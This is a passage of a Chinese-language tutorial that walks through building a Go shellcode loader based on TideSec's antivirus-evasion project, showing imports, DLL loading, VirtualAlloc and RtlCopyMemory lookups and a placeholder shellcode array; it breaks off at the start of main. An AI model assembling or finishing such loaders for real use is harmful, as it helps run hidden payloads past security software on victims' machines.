基于Go加载shellcode

基于Go加载shellcode

这里通过TideSec的go免杀项目来从0开始学习

首先导个包，需要用到如下几个包。

import (
	"io/ioutil"
	"os"
	"syscall"
	"unsafe"
)

• io/ioutil 文件操作

• os 系统操作

• syscall syscall包含一个指向底层操作系统原语的接口

• unsafe Go指针的操作非常有限，仅支持赋值和取值，不支持指针运算，可以通过unsafe包来达到效果

这里定义一下变量，然后需要通过syscall来加载两个dll，kernel32.dll和ntdll.dll。

var (
	kernel32 = syscall.MustLoadDLL("kernel32.dll")
	ntdll = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
	shellcode_buf = []byte{
   
   
        shellcodedata
    }
)

然后这里有一个检查报错的函数，如果有报错就退出并打印报错信息。

func checkErr(err error) {
   
   
   if err != nil {
   
   
      if err.Error() != "The operation completed successfully." {
   
   
         println(err.Error())
         os.Exit(1)
      }
   }
}

然后来看下main函数，这里把shellcode赋值过来，然后有个if语句，这里的意思就是说当运行这个程序跟了参数的时候，就从第一个参数读取文件，把文件内容传给shellcode参数。

func main